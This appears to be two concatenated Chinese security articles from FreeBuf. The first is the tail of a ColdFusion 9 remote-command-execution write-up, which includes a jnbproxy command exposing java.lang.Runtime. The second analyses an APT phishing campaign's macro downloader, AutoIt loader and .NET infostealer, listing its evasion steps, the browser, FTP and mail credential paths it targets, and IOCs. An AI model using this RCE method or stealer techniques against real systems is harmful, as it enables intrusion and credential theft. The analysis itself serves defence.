jnbproxy /d C:\logDemo /cp C:\ColdFusion9\jnbridge\jre\lib\rt.jar /host localhost /n runtime2 /nj /pd n2j /port 6085 /pro b /pp C:\ColdFusion9\lib java.lang.Runtime java.lang.Process java.io.BufferedReader java.io.InputStreamReader java.lang.System至于 JNBShare.dll,因为内部的无法使用,安装包又下载不到。幸运的是有人收藏了这个JNBShare.dll,谷歌搜索能够找到,并且刚好是v5.1版本的。

运行,*远程的 ColdFusion 9(windows平台),返回命令执行结果。

13.jpg

References

[1] 安全公告:

https://helpx.adobe.com/security/products/coldfusion/apsb19-27.html

[2] 部分细节:

https://seclists.org/bugtraq/2019/Jun/38

[3] 历史版本:

https://jnbridge.com/download-back-versions

*本文作者:[email protected]知道创宇404实验室,转载请注明来自FreeBuf.COM

一、恶意邮件样本的信息与背景

在之前的某单位攻防演练行动中,我们成功处置了一起APT攻击事件。7月份对同一样本的补充截图如下:

在本次APT攻击中,攻击者通过发送鱼叉式钓鱼邮件,配合社会工程学手段诱导用户运行宏代码,进而下载尾部带有恶意payload压缩包的可执行文件。通过层层释放最终运行可窃取受害人员各类机密信息、维持权限、接收远端控制的木马。

文档打开后,会诱导用户需要开启宏才能查看被模糊的图片,一旦用户点击开启宏,恶意样本将会在用户电脑上运行、潜伏、收集相应的信息、等待攻击者的进一步指令。

该APT样本整体运行流程图如下:

二、宏病毒文档的提取与调试

使用OfficeMalScanner解压Office文档并提取文档所带的vba宏代码,打开Office文档启用宏后,采用快捷键Alt+F11开启宏代码的动态调试。该宏代码作为实施攻击的入口,实现了恶意样本的下载和执行。本章也将分析下载和执行的整体流程。

解压该Office文档后,宏代码被封装在xl文件夹下的vbaProject.bin文件中。

使用OfficeMalScanner这个工具的命令info从vbaProject.bin中提取宏代码,提取完后可以知道有6个宏代码,其中fdrhfaz2osd是主要的宏代码:

动态调试分析宏代码,首先宏代码传入两个值u和f,分别是请求的url和写入的filepath。

通过调用WinHttp.WinHttpRequest模块的方法Get请求来获取Response并写入到文件gc43d4unx.exe中。

最后通过调用WScript.Shell来启动程序gc43d4unx.exe。

三、gc43d4unx.exe释放pkk.exe等文件并执行

程序gc43d4unx.exe在文件的末尾存放了一个RAR的压缩文件,gc43d4unx.exe程序通过解压缩后在用户Temp目录下的29317159文件夹释放了49个文件,并以pkk.exe xfj=eaa命令继续执行恶意样本。

压缩文件在gc43d4unx.exe中的分布情况。

gc43d4unx.exe主要逻辑在对话框的回调函数sub_419B4E中,识别Rar!的头部标识

解压缩到映射的内存文件中,然后再挨着写到各个文件中

在用户Temp目录下的29317159文件夹生成隐藏文件

最后通过SHELL32.ShellExecuteExW执行qwb.vbs代码,qwb.vbs则会使用WshShell.Run运行pkk.exe xfj=eaa。

四、PayLoad之pkk.exe运行分析

pkk.exe是个名为AutoIt v3的脚本软件,可以加载自定义脚本。主要是就是通过定义DllStruct,然后再通过DllCall来调用函数。qwb.vbs运行代码为WshShell.Run”pkk.exe xfj=eaa”,通过pkk.exe加载一个叫xfj=eaa的二进制文件。

软件先判断载入的是不是DLL,xfj=eaa是个编码后的脚本,判断后程序将会尝试解码。

解码成功后,将解码数据写入一个临时文件中,软件将会重新创建一个进程来重新加载脚本。

解码后的Autolt脚本,代码被混淆了。

根据混淆的脚本,只是函数名混淆,而且脚本只是一个纯文本代码,通过重写此脚本后,可以看到基本还原的Autolt脚本代码了。

Autolt软件解析完脚本后根据字符串功能通过分发函数来执行相应的函数。

五、PayLoad之Autolt脚本分析

Autolt脚本包含的功能有:检测运行环境、修改注册表、解密最终的.net木马并运行。

通过检测进程名、设备是否有D盘等操作实现反虚拟机检测

注册表禁用UAC策略函数

注册表禁用任务管理器函数

注册表开启自启函数,AuEx和ExE_c的值分别是xfj=eaa、pkk.exe。

解密.net木马:

读取K3ys这个键值和mmm.ini文件中[Data]段到[eData],将此数据进行字符替换正则匹配。

载入Advapi32.dll,将K3ys键值进行Hash计算获取到真正的key,后再调用CryptDecrypt函数解密,利用ollydbg动态调试dump出解密数据,解密后的数据就是一个PE结构的程序,用IDA分析程序后,为.NET程序,这个.NET程序就是最后核心木马了,Autolt脚本后续将此PE结构加载进去,创建线程去单独运行此程序。

六、NET木马分析

木马主要功能进行了敏感信息收集,敏感信息收集完后会判断目标主机是否符合收集目标,以判断6个人名为主,符合本机收集目标,将会通过smtp或者ftp服务器上传文件,并且也通过web服务和c&c进行信息交流等。

木马程序的基本信息:

用.net反编译工具dnSpy打开此程序,程序入口处就是在类afg.agu,此木马经我判定进行了控制流扁平化和字符串加密的混淆方式,采用工具de4dot无法进行反混淆。

字符串的解密:

如下图所示,经过字符串加密后静态分析已经无法分析到字符串,而且可以看出控制流进行了扁平化的处理,加密字符串的入口函数为<Module>.\u206E()。

字符串的加密方式主要是通过传入加密的索引,通过固定值的替换与拆分计算后找到对应存储在uint型数组对象\u2009的加密Data、key、IV,\u2009数组对象大概有1047个字符串加密数组,字符串加密采用AES,模式为CBC。

编写python脚本进行了字符串解密,解密后的效果如下所示:

字符串解密核心算法如下:

入口处获取主机名进行判断是否包含以下6个主机名,攻击目标是否符合:

自我复制到C:\Users\l\AppData\Roaming\MyApp\MyApp.exe,设置为系统文件,并设置为无法删除的文件Zone.Identifier,在注册表设置为自启应用并且隐藏。

感谢前辈的指点,此处有错误,更正如下:定时请求http://checkip.amazonaws.com/获取出口的IP。

httpweb服务器进行交互,进行信息的交流包括(”update”、”info”、”uninstall”、”cookies”、”screenshots”、”keylog”)。

DNS查询等:

进行ftp和smtp服务操作,并且绑定了一个邮箱地址 。

以下可能是此地址的密码:

收集信息如下:

系统信息
ManagementObjectSearcher managementObjectSearcher = new ManagementObjectSearcher(“root\CIMV2″, “SELECT * FROM Win32_VideoController”)
managementObjectSearcher2 = new ManagementObjectSearcher(“SELECT * FROM Win32_Processor”);
浏览器
CatalinaGroup\Citrio\User Data liebao\User Data
Fenrir Inc\Sleipnir5\setting\modules\ChromiumViewer Yandex\YandexBrowser\User Data
360Chrome\Chrome\User Data Chedot\User Data
Elements Browser\User Data Epic Privacy Browser\User Data
CocCoc\Browser\User Data MapleStudio\ChromePlus\User Data
Chromium\User Data Torch\User Data
Iridium\User Data Comodo\Dragon\User Data
7Star\7Star\User Data Amigo\User Data
BraveSoftware\Brave-Browser\User Data CentBrowser\User Data
Vivaldi\User Data QIP Surf\User Data
Kometa\User Data Orbitum\User Data
Sputnik\Sputnik\User Data uCozMedia\Uran\User Data
Coowon\Coowon\User Data
ftp列表
\CoreFTP\sites.idx \FTP Navigator\Ftplist.txt
\SmartFTP\Client 2.0\Favorites\Quick Connect\
\SmartFTP\Client 2.0\Favorites\Quick Connect*.xml \Ipswitch\WS_FTP\Sites\ws_ftp.ini
\cftp\Ftplist.txt \FTPGetter\servers.xml
\FTP Navigator\Ftplist.txt
Mail列表
\VirtualStore\Program Files\Foxmail\mail\ \Opera Mail\Opera Mail\wand.dat
Software\IncrediMail\Identities\
注册表
“HKEY_CURRENT_USER\Software\FTPWare\COREFTP\Sites\” + str + “Host” “HKEY_CURRENT_USERSoftwareFTPWareCOREFTPSites” + str + “Port”
“HKEY_CURRENT_USERSoftwareFTPWareCOREFTPSites” + str + “User” “HKEY_CURRENT_USERSoftwareFTPWareCOREFTPSites” + str + “PW”
“HKEY_CURRENT_USERSoftwareFTPWareCOREFTPSites” + str + “Name”

http通信信息

七、安全建议

强烈推荐采用知道创宇云图、腾讯御点等产品,提高企业安全保护,降低外部威胁水平。

知道创宇云图威胁监测系统系列产品,实时分析网络全流量,结合威胁情报数据及网络行为分析技术,深度检测所有可疑活动。文件检测采用全面沙箱分析,通过在沙箱(Sandbox)中运行(行为激活/内容“引爆”)各种文件,分析文件行为,识别出未知威胁。网络检测与文件检测同步进行,采用情报共享机制,构筑检测生态圈,准确、快速地掌握攻击链条,以便进一步采取相关措施,将APT(高级持续性威胁)攻击阻止在萌芽状态。

腾讯御点是腾讯出品、领先国际的企业级安全服务提供者。依托腾讯19年的安全经验积累,为企业级用户提供私有云防病毒和漏洞修复解决方案。御点具备终端杀毒统一管控、修复漏洞统一管控,以及策略管控等全方位的安全管理功能,可帮助企业管理者全面了解、管理企业内网安全状况、保护企业安全。

八、IOC信息

domain & IP:

animalrescueskyward.co.za

mail.privateemail.com

checkip.amazonaws.com

129.232.200.208:443

198.54.122.60

52.206.161.133

34.197.157.64

18.211.215.84

52.202.139.131

34.233.102.38   

52.6.79.229

相关 hash:

7b478598b056d1f8e9f52f5ef1d147437b7f0da5

a73816ebcfc07d6da66de7c298a0912a3dd5d41a

b65884f1e833ea3eec8a8be4c7057a560da4511e

8827b2c1520fb41034d5171c5c4afd15158fd4a3

491b221f68013a2f7c354e4bb35c91fe45a1c0c0

*本文作者:[email protected]知道创宇404实验室,转载请注明来自FreeBuf.COM